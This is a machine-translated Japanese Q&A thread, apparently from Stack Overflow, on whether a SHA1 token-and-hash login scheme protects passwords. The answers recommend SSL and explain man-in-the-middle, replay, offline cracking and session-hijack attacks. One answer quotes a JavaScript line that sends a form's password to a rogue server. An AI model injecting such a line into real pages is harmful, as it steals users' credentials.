Web認証 - クライアントからサーバに安全にユーザ名/パスワードを転送する方法

Question

私は起動しようとしているWebアプリケーション（Java）を持っています。機能を使用するには、システムにログインする必要があります。
1）ユーザー登録
2）ログイン
私の関心事は、Webブラウザからサーバーにユーザー名/パスワードのデータを転送する方法がどれほど安全かということです。

登録

私がサーバーにしっかりとWebブラウザからデータを送信する方法は本当にわからないように私はこの1つに非常に失われています。

ログイン

私は次のセットアップがあります

< < クライアントを>> ------------------------ ------------------------------ < < サーバー >>
[トークンのリクエスト] ---- -------------------------------------------------- ------- >>
< < --------------は[セッションIDからrandomely生成されたトークンを送信]
[クライアント計算hashedSecret = SHA1（トークン+ SHA1（パスワード） ）]
[送信アレイ：[username、hashedSecret]] --------------------------------- - >>
[データベースからユーザ名のサーバクエリSHA1（パスワード）]
は[ServerがexpectedSecret = SHA1（トークン+ SHA1（パスワード））を計算]

[Serverは expectedSecretでhashedSecretを比較]私が知りたいのですがどう安全に登録する方法でありますユーザーのログイン情報が十分に安全であるかどうかを確認します。

おかげ

Answer 1

それは...過度に複雑なようです。 SSLを使用するだけで、業界標準であり、銀行にとって十分です。

Answer 2

「十分に安全」であるかどうかは、もちろん、あなただけがシステム所有者として答えることができます。あなたの予想される敵が未熟で無防備であり、認証失敗の影響が低い場合、それはです。重要な価値のあるものを保護する場合は、おそらく十分に安全なソリューションではありません。

ここに、このアプローチが脆弱になる可能性があるいくつかの攻撃方法があります。

man-in-the-middle攻撃：

Client   Eavesdropper   Server 
Requests token-------X-----------------------> 
<--------------------X-------------Sends token 
Sends PW hash--------X 
         Relays client hash ------> 
         X<-----------Authenticates 

盗聴者は、クライアントの認証応答をリッスンし、サーバーに中継します。サーバーは正当性を検証し、盗聴者を認証します。

オフラインパスワードハッシュ攻撃

トークンと（JavaScriptから）ロジックを持つことになり、クライアントとサーバー間のメッセージを読むことができる盗聴者は、ハッシュを生成するために使用されます。したがって、攻撃者はH(token + H(password)),tokenおよびH(x)を知ります。ここで、Hは暗号ハッシュアルゴリズム（SHA1）です。

攻撃者は、クライアントの応答に対して辞書攻撃を実行して、パスワードを推測することができます。攻撃者は、辞書攻撃などの方法を使用してオフラインでパスワードを解読できます。攻撃者はサーバに対して認証を行う必要はなく、オフラインでパスワードをクラックすることができるため、中程度の弱いパスワードに迅速にクラックさせることができます。

輸送中のサーバ・メッセージの変更

クライアントは、サーバーのメッセージの整合性の保証を持っていない、とのメッセージが潜在的に中に変更することができます。例えば、悪意のある仲介者は、DOMを介してパスワードを傍受し、不正なサーバーに送信するJavaScriptの行をHTMLページに挿入できます。 （不正仲介は、例えば、方法を提出フォームにnew Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.valueを挿入するかもしれない。）

リプレイ攻撃

サーバートークンが十分な頻度で繰り返した場合、盗聴者は、成功したトークン/応答ペアを捕捉することができます。その後、攻撃者は既知のトークンがリサイクルされるのを待って、多数のトークン要求を行うことができます。その後、攻撃者は既知のトークンレスポンスをサーバーに再生します。サーバーは、攻撃者の応答と予想される応答を比較し、攻撃者を認証します。

認証後の攻撃

セッションが認証された後、クライアントとサーバーのメッセージはクリアテキストで送信され続けています。攻撃者は、セッションのハイジャック攻撃を行い、クライアントのセッションクッキーを使用して、認証されたクライアントとして攻撃を行う可能性があります。また、攻撃者は、サーバーとクライアント間の機密データを傍受したり、転送中のデータを変更したりして、クライアント/サーバー通信の機密性、整合性、否認防止を損なう可能性があります。たとえば、クライアントはBenignActionという応答を送信し、攻撃者はこれを転送中にGetSecretDataに変更します。次に、攻撃者は、表面的に秘密のデータを含む応答を読み取ります。

これは、提案された方法が、クリアテキストでパスワードを送信するよりもはるかに安全でない可能性があるということです。セキュリティが懸念される場合は、信頼できるCAの証明書でSSLを使用すると（実用的な意味で）、これらのすべての攻撃が効果的に防止されます。

Answer 3

@Quentinは、SSLが優れていることと、現在業界で使用されているものを掲載しました。実装するセキュリティメソッドの中で最も簡単なのですが、私にとってはCのグレードしか得られないか、安全であるという点で悪化します。銀行アプリケーションや他のサイトは、保護しようとしている情報に応じて、より強力なセキュリティ方法を使用します。

たとえば、StackOverflow.comでは標準のPOSTフォームを使用してユーザーを作成し、SSL経由でトラフィックを保護します。これは、コミュニティナレッジベースサイトだけのサイトには十分です。例POST：

POST https://stackoverflow.com/users/login-or-signup/validation/track   
HTTP/1.1 
Content-Type: application/x-www-form-urlencoded 
Accept: */* 
X-Requested-With: XMLHttpRequest 
Referer: https://stackoverflow.com/users/signup?returnurl=http%3a%2f%2fstackoverflow.com%2fquestions%2f9008997%2fweb-authentication-how-to-securely-transfer-username-password-from-the-client 
Accept-Language: en-US 
Accept-Encoding: gzip, deflate 
Host: stackoverflow.com 
Content-Length: 240 
Connection: Keep-Alive 
Cache-Control: no-cache 

isSignup=true&isLogin=false&isPassword=false&isAddLogin=false&hasCaptcha=false&fkey=asd231232s30b71ead6f8af06f93b85c&legalLinksShown=1&displayname=[MyScreeName]&email=[MyEmail]&password=[SOMEPASSWORD]&password2=[SOMEPASSWORD]&submitbutton=Sign 

銀行、一方、ウェルズ・ファーゴのAppのような、意志バイナリシリアル化、プライベートクライアントキー暗号化、およびSSLフォームトラフィック。これはちょっとした "Security by Obscurity"のようなものですが、SSLだけではありません。私の2セント。乾杯！